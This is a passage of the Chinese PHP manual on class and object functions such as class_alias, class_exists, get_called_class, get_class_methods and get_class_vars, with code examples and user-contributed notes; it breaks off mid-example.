See also the PHP4 functions: func_num_args(), func_get_arg(), and func_get_args(), and examples therein


为一个类创建别名

  • ? call_user_method
  • class_exists ?
  • PHP Manual
  • 类/对象 函数
  • 为一个类创建别名

class_alias

(PHP 5 >= 5.3.0, PHP 7)

class_alias — 为一个类创建别名

说明

class_alias ( string $original , string $alias [, bool $autoload = TRUE ] ) : bool

基于用户定义的类 original 创建别名 alias。 这个别名类和原有的类完全相同。

参数

original

原有的类。

alias

类的别名。

autoload

如果原始类没有加载，是否使用自动加载（autoload）。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

范例

Example #1 class_alias() 例子

<?php

class foo { }

class_alias('foo', 'bar');

$a = new foo;
$b = new bar;

// the objects are the same
var_dump($a == $b, $a === $b);
var_dump($a instanceof $b);

// the classes are the same
var_dump($a instanceof foo);
var_dump($a instanceof bar);

var_dump($b instanceof foo);
var_dump($b instanceof bar);

?>

以上例程会输出：

bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(true)

参见

  • get_parent_class() - 返回对象或类的父类名
  • is_subclass_of() - 如果此对象是该类的子类，则返回 TRUE

User Contributed Notes

Hayley Watson 12-Jun-2018 01:55
The alias really is an alias for the existing class. It's not a new class of any kind - whether by inheritance or otherwise; it doesn't just look and behave exactly like the existing class; it really is the same class.

<?php

class foo
{
    public static $count = 0;
}

class_alias('foo', 'bar');

bar::$count++;

echo foo::$count; // Output: 1

echo get_class(new Bar); // Output: foo
?>
Note in the last line there that aliases are just as case-insensitive as "genuine" class names.
sofe2038 at gmail dot com 07-Jan-2017 04:06
Doesn't work with coupled classes when used along with autoloading.

For example, in these classes where each class is autoloaded in a separate class file:

Foo.php:

<?php
interface Foo{
  public function fx(Bar $bar);
}
?>

Bar2.php:

<?php
class Bar2 implements Foo{
  public function fx(Bar2 $bar){
    // some implementation code here
  }
}
?>

Bar.php:

<?php
class_alias("Bar2", "Bar");
?>

When used with an autoloader like this:

<?php
spl_autoload_register(function($class){
  require($class . ".php");
});
new Bar;
?>

Results in fatal error:

    Declaration of Bar2::fx(Bar2 $bar) must be compatible with Foo::fx(Bar $bar) in ~/Bar2.php on line 2
sofe2038 at gmail dot com 07-Jan-2017 04:06
Doesn't work with coupled classes when used along with autoloading.

For example, in these classes where each class is autoloaded in a separate class file:

Foo.php:

<?php
interface Foo{
  public function fx(Bar $bar);
}
?>

Bar2.php:

<?php
class Bar2 implements Foo{
  public function fx(Bar2 $bar){
    // some implementation code here
  }
}
?>

Bar.php:

<?php
class_alias("Bar2", "Bar");
?>

When used with an autoloader like this:

<?php
spl_autoload_register(function($class){
  require($class . ".php");
});
new Bar;
?>

Results in fatal error:

    Declaration of Bar2::fx(Bar2 $bar) must be compatible with Foo::fx(Bar $bar) in ~/Bar2.php on line 2
robsonvnasc at gmail dot com 22-Sep-2016 03:30
It also works with Traits!

<?php
trait Foo {}
class_alias("Foo","Bar");
echo trait_exists("Bar") ? 'yes' : 'no';
?>
//yes
stanislav dot eckert at vizson dot de 14-Sep-2015 07:00
class_alias() creates aliases only for user defined classes, not for classes supplied by PHP (PHP will show the warning "First argument of class_alias() must be a name of user defined class"). To create aliases for every kind of classes, use namespaces:

<?php

// Does not work
class_alias("ZipArchive", "myZip");

// Creates class alias "myZip" of class "ZipArchive"
use \ZipArchive as myZip;

?>
petar dot karan dot pk at gmail dot com 06-Feb-2014 02:19
If you need the same function in PHP version < 5.3 you can use this

<?php
function class_alias($original,$alias) {
    $newclass = create_function('','class '.$alias.' extends '.$original.' {}');
    $newclass();
}
?>
mweierophinney at gmail dot com 06-Mar-2013 02:05
class_alias() gives you the ability to do conditional imports.

Whereas the following will not work:

<?php
namespace Component;

if (version_compare(PHP_VERSION, '5.4.0', 'gte')) {
    use My\ArrayObject;
} else {
    use ArrayObject;
}

class Container extends ArrayObject
{
}
?>

the following, using class_alias, will:

<?php
namespace Component;

if (version_compare(PHP_VERSION, '5.4.0', 'lt')) {
    class_alias('My\ArrayObject', 'Component\ArrayObject');
} else {
    class_alias('ArrayObject', 'Component\ArrayObject');
}

class Container extends ArrayObject
{
}
?>

The semantics are slightly different (I'm now indicating that Container extends from an ArrayObject implementation in the same namespace), but the overall idea is the same: conditional imports.
sergey dot karavay at gmail dot com 25-Feb-2013 11:08
At first, you might wonder that:
<?php class A {}; class_alias('A', 'B'); ?>

is equivalent to:
<?php class A {}; class B extends A {}; ?>

class_alias is NOT equivalent to class extending! Private methods/properties are unseen in child classes, but in alias classes they are.
Anonymous 12-Feb-2013 05:42
Like class_alias but for functions:

<?php
function function_alias ($original, $alias) {

  $args = func_get_args();
  assert('count($args) == 2', 'function_alias() require exactly two arguments');
  assert('is_string($original) && is_string($alias)', 'function_alias() require string arguments');

  // valid function name - http://php.net/manual/en/functions.user-defined.php
  assert('preg_match(\'/^[a-zA-Z_\x7f-\xff][\\\\\\\\a-zA-Z0-9_\x7f-\xff]*$/\', $original) > 0',
    "'$original' is not a valid function name");
  assert('preg_match(\'/^[a-zA-Z_\x7f-\xff][\\\\\\\\a-zA-Z0-9_\x7f-\xff]*$/\', $alias) > 0',
    "'$alias' is not a valid function name");

  $aliasNamespace = substr($alias, 0, strrpos($alias, '\\') !== false ? strrpos($alias, '\\') : 0);
  $aliasName = substr($alias, strrpos($alias, '\\') !== false ? strrpos($alias, '\\') + 1 : 0);
  $serializedOriginal = var_export($original, true);

  eval("
    namespace $aliasNamespace {
      function $aliasName () {
        return call_user_func_array($serializedOriginal, func_get_args());
      }
    }
  ");

}

?>

Until hopefully function_alias is added to php...
adam at adamhahn dot com 06-Sep-2011 12:13
Something to note,

If the $original class has not yet been defined or loaded, the auto loader will be invoked in order to try and load it.

If the class for which you are trying to create an alias does not exist, or can not be loaded with the auto loader, you will generate a PHP Warning.
programmer-comfreek at hotmail dot com 15-Aug-2011 09:38
If you defined the class 'original' in a namespace, you will have to specify the namespace(s), too:
<?php
namespace ns1\ns2\ns3;

class A {}

class_alias('ns1\ns2\ns3\A', 'B');
/* or if you want B to exist in ns1\ns2\ns3 */
class_alias('ns1\ns2\ns3\A', 'ns1\ns2\ns3\B');
?>
nicolas dot grekas+php at gmail dot com 31-Dec-2010 01:09
At first, you might wonder that:
<?php class A {}; class_alias('A', 'B'); ?>

is equivalent to:
<?php class A {}; class B extends A {}; ?>

BUT when derivation creates a new class name - that means, you can then instantiate a new kind of objects - aliasing is just what it says: a synonym, so objects instantiated with the aliased name are of the exact same kind of objects instantiated with the non-aliased name.

See this code for example:
<?php
class A {};
class B1 extends A {};
class_alias('A', 'B2');

$b1 = new B1; echo get_class($b1); // prints B1
$b2 = new B2; echo get_class($b2); // prints A !
?>
nicolas dot grekas+php at gmail dot com 30-Dec-2010 02:41
class_alias also works for interfaces!

<?php
interface foo {}
class_alias('foo', 'bar');
echo interface_exists('bar') ? 'yes!' : 'no'; // prints yes!
?>


检查类是否已定义

  • ? class_alias
  • get_called_class ?
  • PHP Manual
  • 类/对象 函数
  • 检查类是否已定义

class_exists

(PHP 4, PHP 5, PHP 7)

class_exists — 检查类是否已定义

说明

class_exists ( string $class_name [, bool $autoload = true ] ) : bool

检查指定的类是否已定义。

参数

class_name

类名。名字的匹配是不分区大小写的。

autoload

是否默认调用 __autoload。

返回值

如果由 class_name 所指的类已经定义，此函数返回 TRUE，否则返回 FALSE。

更新日志

版本 | 说明
5.0.2 | 不再为已定义的 interface 返回 TRUE。请使用 interface_exists()。

范例

Example #1 class_exists() 例子

<?php
// 使用前检查类是否存在
if (class_exists('MyClass')) {
    $myclass = new MyClass();
}

?>

Example #2 autoload parameter 例子

<?php
function __autoload($class)
{
    include($class . '.php');

    // Check to see whether the include declared the class
    if (!class_exists($class, false)) {
        trigger_error("Unable to load class: $class", E_USER_WARNING);
    }
}

if (class_exists('MyClass')) {
    $myclass = new MyClass();
}

?>

参见

  • function_exists() - 如果给定的函数已经被定义就返回 TRUE
  • interface_exists() - 检查接口是否已被定义
  • get_declared_classes() - 返回由已定义类的名字所组成的数组

User Contributed Notes

rn at alpha9marketing dot com 06-Apr-2014 05:55
Beware: class_exists is case-INsensitive, as is class instantiation.

php > var_dump(class_exists("DomNode"));
bool(true)
php > var_dump(class_exists("DOMNode"));
bool(true)
php > var_dump(class_exists("DOMNodE"));
bool(true)
php > $x = new DOMNOdE();
php > var_dump(get_class($x));
string(7) "DOMNode"

(tested with PHP 5.5.10 on Linux)

This can cause some headaches in correlating class names to file names, especially on a case-sensitive file system.
spam at wikicms dot org 09-Dec-2013 02:43
Hi guys!
Be careful  and don't forget about second boolean argument $autoload (TRUE by default) when check exists class after spl_autoload_register. Propose short example
file second.php
<?php
class Second {}
?>
file index.php
<?php
class First
{
    function first($class, $bool) {
        spl_autoload_register( function($class) {
            require strtolower($class) . '.php';
        });
        echo class_exists($class, $bool)?'Exist!!!!':'Not exist!';
    }
}

new First($class = 'Second', $bool = true); //Exist!!!!
new First($class = 'Second', $bool = false); //Not exist!
?>
Because __autoload executing much earlier than boolean returned, imho..
giunta dot gaetano at gmail dot com 31-Oct-2013 05:28
If you are using aliasing to import namespaced classes, take care that class_exists will not work using the short, aliased class name - apparently whenever a class name is used as string, only the full-namespace version can be used

use a\namespaced\classname as coolclass;

class_exists( 'coolclass' ) => false
toocoolone at gmail dot com 14-Feb-2012 06:47
I'm running PHP 5.3.4 on Windows 7 and had some difficulty autoloading classes using class_exists(). In my case, when I checked for the class and it didn't exist, class_exists automatically threw a system Exception. I was also throwing my own exception resulting in an uncaught exception.

<?php
/**
 * Set my include path here
 */
$include_path = array( '/include/this/dir', '/include/this/one/too' );
set_include_path( $include_path );
spl_autoload_register();
/**
 * Assuming I have my own custom exception handler (MyException) let's
 * try to see if a file exists.
 */
try {
    if( ! file_exists( 'myfile.php' ) ) {
        throw new MyException('Doh!');
    }
    include( 'myfile.php' );
}
catch( MyException $e ) {
    echo $e->getMessage();
}
/**
 * The above code either includes myfile.php or throws the new MyException
 * as expected. No problem right? The same should be true of class_exists(),
 * right? So then...
 */
$classname = 'NonExistentClass';
try {
    if( ! class_exists( $classname ) ) {
        throw new MyException('Double Doh!');
    }
    $var = new $classname();
}
catch( MyException $e ) {
    echo $e->getMessage();
}
/**
* Should throw a new instance of MyException. But instead I get an
* uncaught LogicException blah blah blah for the default Exception
* class AND MyException. I only catch MyException so we've got on
* uncaught resulting in the dreaded LogicException error.
*/
?>

By registering an additional autoload handler function that did nothing, I was able to stop throwing the extra Exception and only throw my own.

<?php
/**
 * Set my include path here
 */
$include_path = array( '/include/this/dir', '/include/this/one/too' );
set_include_path( $include_path );
spl_autoload_register();
spl_autoload_register( 'myAutoLoad' ); // Add these two and no worries...
function myAutoLoad() {}
/**
 * By registering the additional custom autoload function that does nothing
 * class_exists() returns only boolean and does NOT throw an uncaught Exception
 */
?>

Found this buried in some search results. I don't remember the page URL but if it would have been here it might have saved me some time!
Klaus 28-Apr-2010 04:21
If you recursively load several classes inside an autoload function (or mix manual loading and autoloading), be aware that class_exists() (as well as get_declared_classes()) does not know about classes previously loaded during the *current* autoload invocation.

Apparently, the internal list of declared classes is only updated after the autoload function is completed.
azrael dot com at gmail dot com 11-Dec-2008 04:14
If spl_autoload_register() had been called, then function will try autoload class if it does not exists.

Use instead
<?php
in_array($class_name, get_declared_classes());
?>
richard at richard-sumilang dot com 27-Mar-2008 12:56
[ >= PHP 5.3]

If you are checking if a class exists that is in a specific namespace then you have to pass in the full path to the class:

echo (class_exists("com::richardsumilang::common::MyClass")) ? "Yes" : "No";
anonymous at somewhere dot tld 17-Jul-2003 12:20
If you have a directory of classes you want to create. (Modules in my instance)... you can do it like that

<?php
if (is_dir($this->MODULE_PATH) && $dh = opendir($this->MODULE_PATH)) {
   while (($file = readdir($dh)) !== false) {
      if (preg_match("/(Mod[a-zA-Z0-9]+).php/", $file, $matches)>0) {
         // include and create the class
         require_once($this->MODULE_PATH."/".$file);
         $modules[] = new $matches[1]();
      }
   }
} else {
   exit;
}
?>

//---
Here the rule is that all modules are on the form
ModModulename.php and that the class has the same name as the file.
The $modules array has all the classes initialized after this code


后期静态绑定（"Late Static Binding"）类的名称

  • ? class_exists
  • get_class_methods ?
  • PHP Manual
  • 类/对象 函数
  • 后期静态绑定（"Late Static Binding"）类的名称

get_called_class

(PHP 5 >= 5.3.0, PHP 7)

get_called_class — 后期静态绑定（"Late Static Binding"）类的名称

说明

get_called_class ( void ) : string

获取静态方法调用的类名。

返回值

返回类的名称，如果不是在类中调用则返回 FALSE。

范例

Example #1 get_called_class() 的使用

<?php

class foo {
    static public function test() {
        var_dump(get_called_class());
    }
}

class bar extends foo {
}

foo::test();
bar::test();

?>

以上例程会输出：

string(3) "foo"
string(3) "bar"

参见

  • get_parent_class() - 返回对象或类的父类名
  • get_class() - 返回对象的类名
  • is_subclass_of() - 如果此对象是该类的子类，则返回 TRUE

User Contributed Notes

fantomx1 at gmail dot com 12-Sep-2017 03:57
When calling dynamic method statically in php 5.6 (under 7) it allows it, but it doesnt work, it incorrectly evaluates class that called our subject class, therefore containing method must be static.
Safak Ozpinar 24-Sep-2014 07:00
As of PHP 5.5 you can also use "static::class" to get the name of the called class.

<?php
class Bar {
    public static function test() {
        var_dump(static::class);
    }
}

class Foo extends Bar {

}

Foo::test();
Bar::test();
?>

Output:

string(3) "Foo"
string(3) "Bar"
luc at s dot illi dot be 05-Feb-2013 03:09
get_called_class() in closure-scopes:

<?PHP
    ABSTRACT CLASS Base
    {
        protected static $stub = ['baz'];

        //final public function boot()
        static public function boot()
        {
            print __METHOD__.'-> '.get_called_class().PHP_EOL;

            array_walk(static::$stub, function()
            {
                print __METHOD__.'-> '.get_called_class().PHP_EOL;
            });
        }

        public function __construct()
        {
            self::boot();
            print __METHOD__.'-> '.get_called_class().PHP_EOL;

            array_walk(static::$stub, function()
            {
                print __METHOD__.'-> '.get_called_class().PHP_EOL;
            });
        }
    }

    CLASS Sub EXTENDS Base
    {
    }

    // static boot
        Base::boot(); print PHP_EOL;
            // Base::boot        -> Base
            // Base::{closure}    -> Base

        Sub::boot(); print PHP_EOL;
            // Base::boot        -> Sub
            // Base::{closure}    -> Base

        new sub;
            // Base::boot        -> Sub
            // Base::{closure}    -> Base
            // Base->__construct    -> Sub
            // Base->{closure}    -> Sub

    // instance boot
        new sub;
            // Base->boot        -> Sub
            // Base->{closure}    -> Sub
            // Base->__construct    -> Sub
            // Base->{closure}    -> Sub
?>
uebele 06-Apr-2011 09:14
SEE: http://php.net/manual/en/language.oop5.late-static-bindings.php

I think it is worth mentioning on this page, that many uses of the value returned by get_called_function() could be handled with the new use of the old keyword static, as in
<?php
static::$foo;
?>

versus
<?php
$that=get_called_class();
$that::$foo;
?>

I had been using $that:: as my conventional replacement for self:: until my googling landed me the url above.  I have replaced all uses of $that with static with success both as
<?php
static::$foo; //and...
new static();
?>

Since static:: is listed with the limitation: "Another difference is that static:: can only refer to static properties." one may still need to use a $that:: to call static functions; though I have not yet needed this semantic.
Abhi Beckert 28-Oct-2009 08:41
Beware that this does not behave as expected if your method is not declared as static! For example:

<?php

class foo {
  static public function test() {
    var_dump(get_called_class());
  }

  public function testTwo() {
    var_dump(get_called_class());
  }
}

class bar extends foo {
}

class abc {
  function test() {
    foo::test();
    bar::test();
  }

  function testTwo() {
    foo::testTwo();
    bar::testTwo();
  }
}

echo "basic\n";
foo::test();
bar::test();

echo "basic without static declaration\n";
foo::testTwo();
bar::testTwo();

echo "in a class\n";
$abc = new abc();
$abc->test();

echo "in a class without static declaration\n";
$abc->testTwo();

?>

The result is:

basic
string 'foo'
string 'bar'

basic without static declaration
string 'foo'
string 'bar'

in a class
string 'foo'
string 'bar'

in a class without static declaration
string 'abc'
string 'abc'
php at itronic dot at 07-Aug-2009 06:53
If you call a static getInstance() function to create a instance of a class from another class, this function have to be static, if it is not static the original name of the caller class and not of the current class get returned.

example:

<?php

class a {
  function getXName() {
     return x::getClassName();
  }
  function getXStaticName() {
     return x::getStaticClassName();
  }

}

class b extends a {
}

class x {
  public function getClassName() {
    return get_called_class();
  }
  public static function getStaticClassName() {
    return get_called_class();
  }
}

$a = new a();

$b = new b();

echo $a->getXName(); // will return "a"
echo $b->getXName(); // will return "b"

echo $a->getXStaticName(); // will return "x"
echo $b->getXStaticName(); // will return "x"

?>
a dot cudbard-bell at sussex dot ac dot uk 21-Feb-2009 10:03
Here's a simple way of getting the inheritance tree of a class, no matter which class the function was actually defined in. Will work as a static function method too.

<?php
class A {
    public function get_class_tree(){
        $cur_class = get_called_class();
        do {
            echo $cur_class;
        }
        while($cur_class = get_parent_class($cur_class));
    }
}

class B {

}

class C {

}

$foo = new C();
$foo->get_class_tree();

?>

CBA
danbettles at yahoo dot co dot uk 08-Oct-2008 12:00
It is possible to write a completely self-contained Singleton base class in PHP 5.3 using get_called_class.

<?php

abstract class Singleton {

    protected function __construct() {
    }

    final public static function getInstance() {
        static $aoInstance = array();

        $calledClassName = get_called_class();

        if (! isset ($aoInstance[$calledClassName])) {
            $aoInstance[$calledClassName] = new $calledClassName();
        }

        return $aoInstance[$calledClassName];
    }

    final private function __clone() {
    }
}

class DatabaseConnection extends Singleton {

    protected $connection;

    protected function __construct() {
        // @todo Connect to the database
    }

    public function __destruct() {
        // @todo Drop the connection to the database
    }
}

$oDbConn = new DatabaseConnection();  // Fatal error

$oDbConn = DatabaseConnection::getInstance();  // Returns single instance
?>


返回由类的方法名组成的数组

  • ? get_called_class
  • get_class_vars ?
  • PHP Manual
  • 类/对象 函数
  • 返回由类的方法名组成的数组

get_class_methods

(PHP 4, PHP 5, PHP 7)

get_class_methods — 返回由类的方法名组成的数组

说明

get_class_methods ( mixed $class_name ) : array

返回由类的方法名组成的数组。

参数

class_name

类名或者对象实例。

返回值

返回由 class_name 指定的类中定义的方法名所组成的数组。如果出错，则返回 NULL。

范例

Example #1 get_class_methods() 示例

<?php

class myclass {
    // constructor
    function myclass()
    {
        return(true);
    }

    // method 1
    function myfunc1()
    {
        return(true);
    }

    // method 2
    function myfunc2()
    {
        return(true);
    }
}

$class_methods = get_class_methods('myclass');
// or
$class_methods = get_class_methods(new myclass());

foreach ($class_methods as $method_name) {
    echo "$method_name\n";
}

?>

以上例程会输出：

myclass
myfunc1
myfunc2

参见

  • get_class() - 返回对象的类名
  • get_class_vars() - 返回由类的默认属性组成的数组
  • get_object_vars() - 返回由对象属性组成的关联数组

User Contributed Notes

iarias at loyalia dot es 21-Feb-2018 12:19
If you only need the methods declared by the class, and not the parent classes ones, you can do something like:

$declared_methods = array_diff(get_class_methods($class), get_class_methods(get_parent_class($class)));
polarglow06 at gmail dot com 18-Nov-2015 06:09
I have created a very simple test runner using this function

function get_bar($text) {
    $bar = "";
    for($i=1; $i<=strlen($text); $i++) {
        $bar .= "=";
    }
    return $bar;
}
class Tester {
    function __construct() {
        $this->run_tests();
    }
    // run the tests
    function run_tests() {
        print("Tester by Minhajul Anwar \n");
        $class = get_class($this);
        $test_methods = preg_grep('/^test/', get_class_methods($this));
        foreach($test_methods as $method) {
            $start_rep = "test: $class::$method";
            $bar = get_bar($start_rep);
            print("\n$start_rep\n$bar\n");
            $this->$method();
            print("\n");
        }
    }
}

now you just need to write your test class with tegst methods prefixed by 'test', and then just instantiate object of that test class of your, all those tests methods will get run automatically
The drawback is: your test methods must not accept any arguments

an example:
require '../autoload.php';
register_autoload_paths(realpath('./'));

class Test_Test extends Tester {
    function test_something() {
        print("method got executed");
    }
    function testAnotherThing() {
    print("another test method");
    }
}

$Test = new Test_Test();
fschmengler at sgh-it dot eu 08-Jan-2010 04:40
It should be noted that the returned methods are dependant on the current scope. See this example:

<?php
class C
{
    private function privateMethod()
    {

    }
    public function publicMethod()
    {

    }
    public function __construct()
    {
        echo '$this:';
        var_dump(get_class_methods($this));
        echo 'C (inside class):';
        var_dump(get_class_methods('C'));
    }
}
$c = new C;
echo '$c:';
var_dump(get_class_methods($c));
echo 'C (outside class):';
var_dump(get_class_methods('C'));
?>

Output:

$this:
array
  0 => string 'privateMethod' (length=13)
  1 => string 'publicMethod' (length=12)
  2 => string '__construct' (length=11)

C (inside class):
array
  0 => string 'privateMethod' (length=13)
  1 => string 'publicMethod' (length=12)
  2 => string '__construct' (length=11)

$c:
array
  0 => string 'publicMethod' (length=12)
  1 => string '__construct' (length=11)

C (outside class):
array
  0 => string 'publicMethod' (length=12)
  1 => string '__construct' (length=11)
php at stock-consulting dot com 06-Feb-2007 02:40
Note that this function will answer both class AND instance methods ("class methods" are called "static" in PHP). Sort of a little "trap" for people who have in-depth experience with the OO terminology :-)
BoD 15-Mar-2006 07:09
!Concerning PHP5 Only!

If you want to get all methods/functions from a class you can do this with the get_class_methods function.
<?php
    $arrMethodNames = get_class_methods ( $ClassNameOrObject);
?>
However the drawback on this function in PHP5 is that you will NOT receive protected and private methods of a class/object if you are calling the method from another class/object context.

If you want to receive all methods of a given Class in another Class you should use the PHP5 Reflection API. The following source allows to retrieve all methods from a derived class in its (abstract) Base Class.

In the example you need to call the base constructor from the derived classes constructor in order to let the base class know the name of the derived class. Use the "__CLASS__" definition for passing the classname of current class to its base class.

<?php

    // Base Class - Abstract
    abstract class A {

        // Array of ReflectionMethod Objects
        // is being set upon instanciation
        // derived Classes don't need to know about this array
        private $arrMethods;

        // Constructor which MUST be called from derived Class Constructor
        protected function __construct ( $strDerivedClassName ) {
            $oRefl = new ReflectionClass ( $strDerivedClassName );
            if ( is_object($oRefl) ) {
                $this->arrMethods = $oRefl->getMethods();
            }
        }

        // Some abstract function
        abstract protected function D ();

        // Some private function
        private function E() {
        }

        // method to print all class/object methods
        // must be callable from derived classes
        // can be protected if only for internal class use
        public function PrintAllMethods () {
            foreach ( $this->arrMethods as $curReflectionMethod ) {
                echo $curReflectionMethod->getName()."<br>";
            }
        }
    }

    // Derived Class
    class B extends A {

        // Constructor for this class
        // MUST call Base Constructor
        public function __construct () {
            // Call Base Constructor
            parent::__construct(__CLASS__);
        }

        // Some public function
        public function A () {
        }

        // some protected function
        protected function B () {
        }

        // some private function
        private function C() {
        }

        // some abstract method from base class implemented
        protected function D () {
        }
    }

    // Create new B Object
    $b = new B();
    // Print all Methods of this Object/Class
    $b->PrintAllMethods();
?>

In this example output will be:

__construct
A
B
C
D
E
PrintAllMethods

As you can see these are all methods from class B and also all methods from Class A respectivly in order of their declaration. Note that only one method "__construct" and only one method "D" are being shown. This is due to overloading (__construct) and implementing (D) in PHP.

In this example any further method-handling methods should be implemented in the base class as these will be available in derived classes as well. Just make sure that you use the right access specifiers for these additional methods ( private, protected, public )

BoD
jazepstein at greenash dot net dot au 16-Oct-2005 06:37
In PHP4, this function converts its return values to lowercase; but in PHP5, it leaves the return values in their original case. This can cause serious problems when trying to write code that dynamically calls a class method, and that works in both PHP4 and PHP5. This code snippet shows one way of achieving compatibility with both versions:

<?php
// Example variables - these would be dynamic in a real application.
$className = 'SomeClass';
$methodName= 'someMethod';
$args = array('arg1', 'arg2');

// Use array_map() and strtolower() to make all values returned by get_class_methods() lowercase. PHP4 does this anyway - now it will happen regardless of the PHP version being used.
$classMethods = array_map(strtolower, get_class_methods($className));

// in_array() can only handle being given an array.
if (!$classMethods) {
  $classMethods = array();
}

if (in_array(strtolower($methodName), $classMethods)) {
  // call some method
  return call_user_func_array(array($className, $methodName), $args);
}
?>
Oli Filth 11-Apr-2005 08:21
As an extension to onesimus's code below for finding inherited methods, in PHP 5 you can use the Reflection API to find which of these are overriden.

e.g.

<?php
function get_overriden_methods($class)
{
    $rClass = new ReflectionClass($class);
    $array = NULL;

    foreach ($rClass->getMethods() as $rMethod)
    {
        try
        {
            // attempt to find method in parent class
            new ReflectionMethod($rClass->getParentClass()->getName(),
                                $rMethod->getName());
            // check whether method is explicitly defined in this class
            if ($rMethod->getDeclaringClass()->getName()
                == $rClass->getName())
            {
                // if so, then it is overriden, so add to array
                $array[] .=  $rMethod->getName();
            }
        }
        catch (exception $e)
        {    /* was not in parent class! */    }
    }

    return $array;
}
?>
kabatak 20-Feb-2005 05:11
In PHP4, if you need to get_class_methods in their original case. You can use this simple function I created.

// Note: this function assumes that you only have 1 class in 1 file

$file = "path/to/myclass.php"

function file_get_class_methods ($file)
{
    $arr = file($file);
    foreach ($arr as $line)
    {
        if (ereg ('function ([_A-Za-z0-9]+)', $line, $regs))
            $arr_methods[] = $regs[1];
    }
    return $arr_methods;
}
epowell at removethis dot visi dot com 11-Oct-2004 08:47
I've figured out how to get around my issue described below, using the Reflection API.

<?
/* Pass the name of the class, not a declared handler */
function get_public_methods($className) {
    /* Init the return array */
    $returnArray = array();

    /* Iterate through each method in the class */
    foreach (get_class_methods($className) as $method) {

        /* Get a reflection object for the class method */
        $reflect = new ReflectionMethod($className, $method);

        /* For private, use isPrivate().  For protected, use isProtected() */
        /* See the Reflection API documentation for more definitions */
        if($reflect->isPublic()) {
            /* The method is one we're looking for, push it onto the return array */
            array_push($returnArray,$method);
        }
    }

    /* return the array to the caller */
    return $returnArray;
}
?>
onesimus at cox dot net 19-Jun-2004 02:32
This function will return only the methods for the object you indicate. It will strip out the inherited methods.

function get_this_class_methods($class){
    $array1 = get_class_methods($class);
    if($parent_class = get_parent_class($class)){
        $array2 = get_class_methods($parent_class);
        $array3 = array_diff($array1, $array2);
    }else{
        $array3 = $array1;
    }
    return($array3);
}
gk at proliberty dot com 01-Jun-2003 04:16
It is important to note that get_class_methods($class) returns not only methods defined by $class but also the inherited methods.

There does not appear to be any PHP function to determine which methods are inherited and which are defined explicitly by a class.
aldo at cerca dot com 21-Apr-2002 10:18
If you use "get_class_methods" to check if a Method is in a Class remember that the function return lowered name of class methods:

class classPippo
{
        function DummyFunct()
        {
                // Do nothing...
        }
}

$aClassMethods = get_class_methods(classPippo);

$sMethodName = 'DummyFunct';

// This not work...

        if (in_array($sMethodName, $aClassMethods))
        classPippo::DummyFunct();

// This work...

        if (in_array(strtolower($sMethodName), $aClassMethods))
        classPippo::DummyFunct();
matt at zevi dot net 21-Mar-2002 04:46
Win32 only:

It's probably worth noting here that you can't get the methods of an object created by the built-in 'COM' class. ie - this won't work:

$word = new COM('Word.Application');
$methods = get_class_methods(get_class($word));
print_r($methods);

Matt


返回由类的默认属性组成的数组

  • ? get_class_methods
  • get_class ?
  • PHP Manual
  • 类/对象 函数
  • 返回由类的默认属性组成的数组

get_class_vars

(PHP 4, PHP 5, PHP 7)

get_class_vars — 返回由类的默认属性组成的数组

说明

get_class_vars ( string $class_name ) : array

返回由类的默认公有属性组成的关联数组。

参数

class_name

类名

返回值

Returns an associative array of declared properties visible from the current scope, with their default value. The resulting array elements are in the form of varname => value. In case of an error, it returns FALSE.

更新日志

版本 | 说明
5.0.3 | get_class_vars() will only return the properties that can be accessed from the current scope.
5.0.2 | Calling get_class_vars() will now expose all the properties as an array, unlike previous behaviour where protected and private properties were prefixed with nul bytes.
5.0.1 | Calling get_class_vars() will expose all properties, as when converting an object to a class.

范例

Example #1 get_class_vars() example

<?php

class myclass {

    var $var1; // this has no default value...
    var $var2 = "xyz";
    var $var3 = 100;
    private $var4;

    // constructor
    function __construct() {
        // change some properties
        $this->var1 = "foo";
        $this->var2 = "bar";
        return true;
    }

}

$my_class = new myclass();

$class_vars = get_class_vars(get_class($my_class));

foreach ($class_vars as $name => $value) {
    echo "$name : $value\n";
}

?>

以上例程会输出：

var1 :
var2 : xyz
var3 : 100

Example #2 get_class_vars() and scoping behaviour

<?php
function format($array)
{
    return implode('|', array_keys($array)) . "\r\n";
}

class TestCase
{
    public $a    = 1;
    protected $b = 2;
    private $c   = 3;

    public static function expose()
    {
        echo format(get_class_vars(__CLASS__));
    }
}

TestCase::expose();
echo format(get_class_vars('TestCase'));
?>

以上例程会输出：

// 5.0.0
a| * b| TestCase c
a| * b| TestCase c

// 5.0.1 - 5.0.2
a|b|c
a|b|c

// 5.0.3 +
a|b|c
a

参见

  • get_class_methods() - 返回由类的方法名组成的数组
  • get_object_vars() - 返回由对象属性组成的关联数组

User Contributed Notes

flobee 16-Nov-2015 12:43
<?php
class someClass {
    public function toArray() {
        $records = array();

        foreach( $this as $key => $value ) {
                $records[$key] = $value;
        }

        return $records;
    }

}
?>
bof at bof dot de 09-Sep-2012 07:02
I needed to get only the class static variables, leaving out instance variables.

<?php
function get_static_vars($class) {
    $result = array();
    foreach (get_class_vars($class) as $name => $default)
        if (isset($class::$$name))
            $result[$name] = $default;
    return $result;
}
?>

That function returns only the public ones. The same pattern can be used inside a class, then it returns private and protected static variables, too:

<?php
static protected function get_static_vars($class = NULL) {
    if (!isset($class)) $class = get_called_class();
    $result = array();
    foreach (get_class_vars($class) as $name => $default)
        if (isset($class::$$name))
            $result[$name] = $default;
    return $result;
}
?>
Mattias Ahlbck 14-Feb-2012 09:39
get_class_vars_assoc()
- Returns an associative array with name of (parent) class(es) as key(s) and corresponding class vars as sub-arrays. My boilerplate for some crude O/R mapping.

Note: vars re-defined in sub-classes are ignored.

<?php

class GrandClass {
    public $grandVar;
    public $in_grand_and_parent;
    public $in_grand_and_child;

    public static function load() {
        print_r(self::get_class_vars_assoc());
    }

    protected static function get_class_vars_assoc() {
        $called = get_called_class();
        //echo "called: $called \n";
        $classVars[$called] = array_keys(get_class_vars($called));

        $parent = get_parent_class($called);
        while ( $parent !== FALSE ) {
            //echo "parent: $parent \n";
            $classVars[$parent] = array_keys(get_class_vars($parent));
            $classVars[$called] = array_diff($classVars[$called],
                                             $classVars[$parent]);
            if ( isset($prevParentVars) ) {
                $prevParentVars = array_diff($prevParentVars,
                                             $classVars[$parent]);
            }

            $prevParentVars = &$classVars[$parent];
            $parent = get_parent_class($parent);
        }

        return $classVars;
    }
}

class ParentClass extends GrandClass {
    public $in_grand_and_parent;
    public $parentVar;
    public $in_parent_and_child;
}

class ChildClass extends ParentClass {
